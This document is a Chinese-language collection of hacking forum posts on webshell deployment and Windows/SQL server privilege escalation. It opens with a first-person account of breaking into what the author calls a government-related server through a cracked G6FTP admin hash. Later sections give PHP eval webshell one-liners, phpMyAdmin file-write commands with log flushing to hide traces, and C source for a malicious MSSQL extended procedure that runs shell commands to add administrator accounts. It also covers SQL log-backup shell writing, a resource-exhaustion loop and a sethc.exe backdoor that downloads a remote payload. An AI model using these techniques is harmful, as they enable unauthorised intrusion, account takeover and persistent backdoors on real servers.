G6FTP的一次入侵提权记录(图文)
早在二个小时前,完成了这次有意思的提权,利用户是G6FTP。
前台拿Webshell就不说了,动易的后台,进去自定义页面编辑小马生成页面即可,重点是提权。
在服务器溜达无意中发现管理员使用的是G6FTP,打开RemoteAdmin目录的Remote.ini文件,可查到管理员
32位MD5加密的密文,文本内容如下:
[Server]
IP=127.0.0.1,8021\r\n 这个是本地管理IP 和默认管理的端口,端口是可以修改的.
GrantAllAccessToLocalHost=0
[Acct=Administrator] 管理帐户
Enabled=1
Rights=0
Password=76b1fe1104d891816c9d606eb13211ed 管理帐户的密码
几秒钟的时间密码出来了,注意G6FTP的默认端口是不允许外链的,这个时候要用到HTRAN的端口转发功
能,把默认管理端口转发到其他端口,然后进行连接 ,把8021端口转发到51端口..
本地事先也安装一个Gene6 FTP Server软件.然后配置.
由于是某政府相关机构,这次的图要过滤一些敏感的信息,请大家不要对号入座了。
HOST那里输入你要提权的IP
PORT输入你用端口转发工具转发的端口,USERNAME和PASSWORD输入Gene6 FTP Server的帐户配置
文件所破解的帐号和密码信息,注意密码是MD5加密过的.必须输入明文的。
不出意外我们就可以连接上去了,我们可以新建一个普通的帐号,我这里建一个名为 kipos 密码为
kipos的帐号然后选择好管理目录,然后我们在权限配置那里配置好权限.可以全部选上..
这样还不能提权,这里到了我们最核心的一步。
1.写一个能执行命令的批处理文件,并上传到目标主。
@echo off
net user kipos kipos /add
net localgroup administrators kipos /add
2.然后在SITE COMMANDS那个地方再进行配置.
COMMAND那输入你的命令执行的名字,我写的是HACK DESCRIPTTION这个是写描述的。这里随便你写
什么都可以的。EXECUTE这里输入你的BAT的命令执行文件的路径.也就是你刚上传的那个文件的路径.点
OK就可以了。本以为很轻松的将服务器给提权,没想到正当CMD下连接FTP时,新建的kipos帐号用不了
纳闷,翻阅资料没找到相关原因,难道要服务重启才能使用帐号??? 汗,一不做二不休,既然新建的帐号不能用,咱们就来修改里面帐号的密码吧。。。 随便找一个,把权限给足了,然后设置目录为C盘或D盘(细节要注意,否则连不上,删掉之前目录,再 重新设置)接着把密码给改了,(后来发现其实不用改密码,在Accounts\user目录里面有各帐号的ini配 置文件,里面同样存在MD532位的密文)然后继续在FTP上面进行连接,可纳闷的是居然还是连接不上
这又是为什么?继续翻阅资料。。。。还真有原因说明。。。。
用户总是期望 ISA Server Web 代理服务将 USER 命令发送到 FTP 服务器后提示输入密码。FTP 服务器通过以 331 响应码做出响应来提示输入密码。然而,如果 FTP 服务器换作以 230(“User logged in, proceed”)响应,则 ISA Server 会曲解这个结果,于是您就收到了“症状”部分所描述的错误消息。
哎,这下还真难为我这个菜鸟了,头痛ing.....。等等,CMD下连接不上,那用FlashFXP能连么???
FlashFXP还真的可以连,这就更怪了。这事还是头一次碰到。几分钟后灵光一闪,FlashFXP能执行命令?
还真给我发现有执行命令的地方,呵呵,这次剑走偏峰看你还死不死。。。
纳闷的是命令回显结果不成功。
quote site hack
500 Unknown command.
CMD下的命令与FlashFXP格式不同???把quote去掉,激动。看到了200成功的提示。
马上登陆webshell net user 查看 终于加上了,权限是administrator。查看注册表发现终端3389端口改了
因为这次的服务器是外网,也省了LCX端口转发本地。(貌似大部分政府相关机构的服务器都是内网吖)
可谓一波三折吖,入侵过程中,思路要广。
转自http://hi.baidu.com/5427518/blog/item/506a228f5d7207fff01f3689.html
HZHOST虚拟主机在提权中的进一步利用
1。c:\windows\temp下有hzhost主机留下的ftp登陆记录。有用户名和密码
2。是利用hzhost拿系统主机最高权限的。
安装了hzhost的主机,其mssql sa密码,mysql root密码还有serv-u的administrator密码全部保存在注册表中。位置在
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\mysqlpass
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\mastersvrpass
经过了hzhost自己的加密方式,象eLVClO4tzsKBf#dee52443a3872cc159
这样的字符串。不过在hzhost后台可以还原!拿到了sa密码,或者root密码,最高权限就在眼前!禁止了w.s的话。大家就传aspx木马导撒!
我们传了一个asp木马上去后。在incs\constr.asp下面可以看到数据库连接串。然后连接到数据库。通过执行
SELECT * FROM [hstlst]语句。可以看到很多主机记录
h_ftppass的密码和hzhost主机自己的加密串很相似。没错,主机管理的密码也是经过他自己的加密方式加了密!而我们在主机管理的地方
看到明文密码。说明他又给还原回来了。明白了么?我们先通过aspx木马导出mysql,mssql的root,sa密码加密串后
我们通过这条语句,修改别人的主机密码。
UPDATE [hstlst] SET h_ftppss=’aPWw3j4zMaK83lHMBof9fc298b1d3d0a’ WHERE h_ID=10000471
然后回过头去看主机密码。(这时候被转成了明文)
拿到了root密码为:sphil_070921注意:由于有多种限制。我截的图可能不是很完美。但是此方法绝对可行!
webshell 提权小技巧
Discuz 7.0-7.2后台拿Shell
1.Ucenter插入一句话:3EST\\');eval($_POST[a])?>;//
2. 然后返回刚才插入地方,随便替换几个字母
3.连接文件是根目录下的 config.inc.php
xp_hello.dll(sa) 提权工具
声明:虽然技术是简单的技术,但是还是请转载的朋友注明作者是2月。2月特授权冰点论坛以 原创发布作品。
主要代码:
在VC6里面新建一个储存过程项目,在proc.cpp中写入如下代码:
#include <stdafx.h>
#include <shellapi.h>
#define XP_NOERROR 0
#define XP_ERROR 1
#define MAXCOLNAME 25
#define MAXNAME 25
#define MAXTEXT 255
#ifdef __cplusplus
extern “C” {
#endif
RETCODE __declspec(dllexport) xp_hello(SRV_PROC *srvproc);
#ifdef __cplusplus
}
#endif
RETCODE __declspec(dllexport) xp_hello(SRV_PROC *srvproc)
{
/***************************** 说明 *************************
由于本人人品不好还是怎么的,库里没有srv_paraminfo函数,卧槽,
无赖之下,只好用老式的srv_paramdata
*************************************************************/
int bufLen;
DBCHAR spName[MAXNAME];
DBCHAR spText[MAXTEXT];
DBCHAR spBuf[MAXTEXT];
unsigned char cmdline[255] = “”;
if(srv_rpcparams(srvproc) != 1) return XP_ERROR; //参数判断,如果参数不是1个就立即退出
bufLen = srv_paramlen(srvproc,1);
if(!bufLen) return XP_ERROR;
wsprintf(spBuf,(DBCHAR*)srv_paramdata(srvproc,1));spBuf[bufLen] = ‘\0′; //获取第一个参数的值
wsprintf(spName, “xp_hello”);
wsprintf(spText, “%s Run command:[%s]\r\n\t\t\tMSN:ylbhz@hotmail.com”, spName,spBuf);
srv_sendmsg(srvproc,SRV_MSG_INFO,0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,spText,SRV_NULLTERM); //发送消息
wsprintf((char*)cmdline,”/c %s”,spBuf); //构造参数
ShellExecute(0,”open”,”cmd.exe”,(char*)cmdline,NULL,SW_SHOW); //执行命令
return XP_NOERROR ;
}
编译生成xp_hello.dll
以SA连接SQL Server 执行
dbcc addextendedproc(‘xp_hello’,'c:\xp_hello.dll’);
提示成功过后,调用
exec xp_hello ‘net user fuck fuck /add’;
这样系统里面就多了个fuck账户
C:\Documents and Settings\Administrator\桌面\工作区间\C\Debug>net user
\\PC-200910151119 的用户帐户
—————————————————————————–
Administrator ASPNET fuck
Guest HelpAssistant IUSR_PC-200910151119
IWAM_PC-200910151119 SQLDebugger SUPPORT_388945a0
VUSR_PC-200910151119
命令成功完成。
编译好的文件下载:
http://download.csdn.net/source/2647299
WinWebMail、7i24提权漏洞
一、WinWebMail程序安装为系统服务,程序一般是在admin权限下运行的,而服务程序emsvr.exe是在system权限下运行的,这样,我们就可以通过这个漏洞来提升权限了。假设我们得到了一个低权的WebShell,有修改权限,服务器安装有WinWebMail,我们只要能够修改其中的opusers.ini文件,就可以利用这个漏洞提升权限了,加用户、开端口就随你了。
在硬盘分区为NTFS格式下,WinWebMail会要求安装目录为everyone可写,这是因为它是Web服务式的邮件系统,需要通过ASP文件读写用户邮箱,也就是对应于某个用户名的文件夹,而普通的ASP程序解析权限很低,所以必须得让WinWebMail所在的目录拥有everyone可写权限,不然程序会无法正常读写这些用户文件夹的。在FAT32格式下就更不用说了,我们可以随意修改popusers.ini文件,从而溢出获得更高权限了。
最后再说说远程利用的方法。因为我们可以通过Web来注册用户,所以可以利用抓包软件来修改注册信息,从而间接修改ini文件,等到服务器
重启的时候,就可以利用漏洞了。
该漏洞影响范围到3.7.3.1以前的版本
————————————————————————————————————
就是winwebmail邮件服务器系统,用户名和密码全部存在winwebmail的安装目录中popusers.ini文件里面!包括admin管理员用户!当然,密码是加密的!
我们要做的,就是在本地装一个相同版本的winwebmail,然后将本地加密过的已经密码代码,利用webshell替换掉服务器上的,这台mail服务器就到手了!(说白了还是因为WinWebMail会要求安装目录为everyone可写)
————————————————————————————————————
WinWebMail目录下的web必须设置everyone权限可读可写,不然邮件登陆不上去等等,所以在开始程序里找到winwebmail快捷方式下下来,看路径,访问 路径\web传shell,访问shell后,默认权限是system,放远控进启动项,等待下次重启。没有删cmd组建的直接加用户。
比如c:\winwebmail\web,如果不能浏览换为d:\winwebmail\web\(一定要是web目录,本人多方测试c:\winwebmail一样无权浏览)
另外如果查不出路径请用注册表读取:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\WinWebMail Server\imagepath
二、7i24的web目录也是可写,权限为administrator。
注: 7i24目录默认是可读可写,写进IISSAFE那个目录,访问 http://域名/iissafe/shell.asp
三、装有Magic Winmail的服务器会在系统上开启8080端口,对外提供邮件服务。使用过它的人应该知道。这个Magic Winmail服务器支持php脚本解析。Magic Winmail是不可以解析asp脚本的,Magic Winmail这边是php的世界。
X:\Magic Winmail\server\webmail 该目录默认为system权限
网管在装Magic Winmail的时候肯定是以system级别的身份装的。当然Magic Winmail就继承了system级别的限权,而我们的Magic Winmail却可以解析php脚本,想当然我们可爱的php脚本就是system级别的脚本了。这个Magic Winmail软件有点像咱国产Netbox的味道。
本文来源于独自等待博客:http://www.waitalone.cn/ 原文地址:http://www.waitalone.cn/post/7i24.html
ECSHOP最新后台拿webshell之鸡肋方法
操作简单,就不上图了
1、添加会员,插入一句话
2、备份数据---自定义备份---选“XXX_users”
(其中XXX因各站而异,是数据前缀)
3、备份文件名为X.php;X.SQL
4、一句话客户端连接X.php;X.SQL,地址一般为 http://www.XXX.com/data/sqldata/X.php;X.SQL
(比较鸡肋)
OK~
phpmyadmin拿shell
首先:
create database joyuan; /* 建立数据库joyuan */
use joyuan; /* 连接joyuan数据库 */
create table shell(code text); /* 建立表shell字段code文本型数据text */
然后:
insert into shell(code) /* 插入数据到shell表中的code字段 */
values ('shell代码'); /* 值为shell代码 我用PHP一句话,看后面*/
select * into outfile '/home/www/htdocs/server.php' from shell;
/* 将shell表中的内容输出保存为文件(输出到web目录下,要不就无法访问shell了,可以直接输出到phpmyadmin目录下,不知道就phpinfo) */
flush logs /* 删除日志 */
删掉刚建的joyuan数据库,直接删除或执行SQL命令:drop database joyuan;
利用PHP一句话客户端(http://linux.chaom.net/Shell.Htm)写自己的shell
PHP一句话的服务端地址就是:http://xxx/phpmyadmin/server.php
搞定,嘿嘿。
PHP一句话服务端代码:
<?php eval($_POST[cmd]);?>
========================================
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'D:/phpMyAdmin/libraries/d.php';
Drop TABLE IF EXISTS a;
========================================
①建立数据库
create database hakz /*建立数据库hakz*/
use hakz /*连接hakz数据库*/
create table shell(code text) /*建立表shell,字段code为文本型数据*/ ②插入导出shell
insert into shell(code) values ('后门代码'); /*插入shell代码*/
select * into outfile '/home/www/website/…路径/shell.php' from shell;
/*导出shell到web路径下*/
flush logs /*删除日志 这一点很重要哦*/ ③删除临时数据库
drop database hakz /*或者直接在phpmyadmin中进行可视化操作*/
最后附上几种PHP一句话服务端代码:
<?php eval($_POST[hakz]);?>
<?php @eval($_POST[hakz]);?> /*容错代码*/
<?php assert($_POST[hakz]);?> /*assert 函数和 eval一样*/
<?@include($_POST["hakz"]);?>
=====================================
刚一不小心拿下一个php168 v6.02的站
刚一刀城朋友发信息来说没有后台用户名密码怎么帮我
额 这个其实很简单 只要自己随便注册一个账户 然后利用 /buygroup.php?job=buy&gid=3 这句话就可以把自己提权成管理员
然后用这个帐号进入后台即可,具体的就不多说了
然后找到 功能中心---模版设置----增加系统模版页
模板保存路径: 这里以php结尾命名
名字随便写
模板HTML代码: 这里写入你的木马内容
点击提交即可
shell地址:www.xxx.com/template/_default/sesdf.php
当然 这只是其中我找到的一种方法,应该还有的,求大牛赐教
FROM:http://forum.daokers.com/read.php?tid=2155
渗透中遇到MSSQL:db_owner如何处理?
在我某次的渗透工作中遇见的一个小问题,其权限设置时非常BT,只能在当前的目录下转悠,调用cmdshell可想而知,一般的尝试方法都将失去效应,但是它的数据库确是MSSQL,权限应该不会太高SrvRoleMember : db_owner果然,经过查看之后发现时db_owner权限,其实大多数朋友能走到这里说明您还有足够的思路分析能力,那么我们就可以进行我们的日志备份提权操作了,对于这方面了解不太明白的可以看看如下的解释:SQL中含有LogBackup的功能,我们可以通过调用它执行如下命令create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;insert into [bin_cmd](cmd)values('www.tosec.cn');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='e:\1.asp' backuplog @b to disk=@t with init,no_truncate;drop table [bin_cmd];意思是备份我们的网址到E盘下的1.asp文件中,当然我们通过这个调用可以备份一些危险指令到系统启动项中,这样就达到了提权的一些操作我们继续在提权中发现需要等待管理员的登录或者重启操作,但是可能管理员很久都不会登陆,当然我们只能使用一些非常手段,这里提到的不是ddos,而是数据库负载。对,我们需要的是加大数据库负载,当然也需要一定的条件,就是我们需要一个注入点或者能执行SQL命令的地方(;wHiLe 1<9 bEgIn sElEcT cHaR(0) eNd--),我们执行括号中的命令就可以了,意思是将范围中的数值进行转换,一直到服务器资源耗尽,当然如果管理员在这方面做了限制那么就无法起到效果了,例如:ASP的执行时间。
来源:网络
t00ls.net
SA权限下有时候不能执行命令,写注册表提权
:exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe','debugger','REG_SZ','c:\\windows\\explorer.exe'
:exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe','debugger','REG_SZ','c:\\windows\\system32\\taskmgr.exe'
写注册表函数.
select regwrite("HKEY_LOCAL_MACHINE","SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe","Debugger","REG_SZ","E:\\web\\170stock\\admin\\include\\explorer.exe");
通过udf提权加上regwrite这个函数
然后改注册表,把sethc.exe 的路径改成了我们想运行的程序(比如cmd)
然后连3389,按下5次shift就执行我我们的程序,很好,就是sethc后门原理
不过管理组做了手脚,我们加到localgroup administrators的用户进不去3389
================================
select downloader("http://ssss//cmd.exe","c:\\windows\\system32\\sethc.exe");
然后迅速登录3389,shift5下..哈哈...~
因为慢点就会被文件保护机制改回去了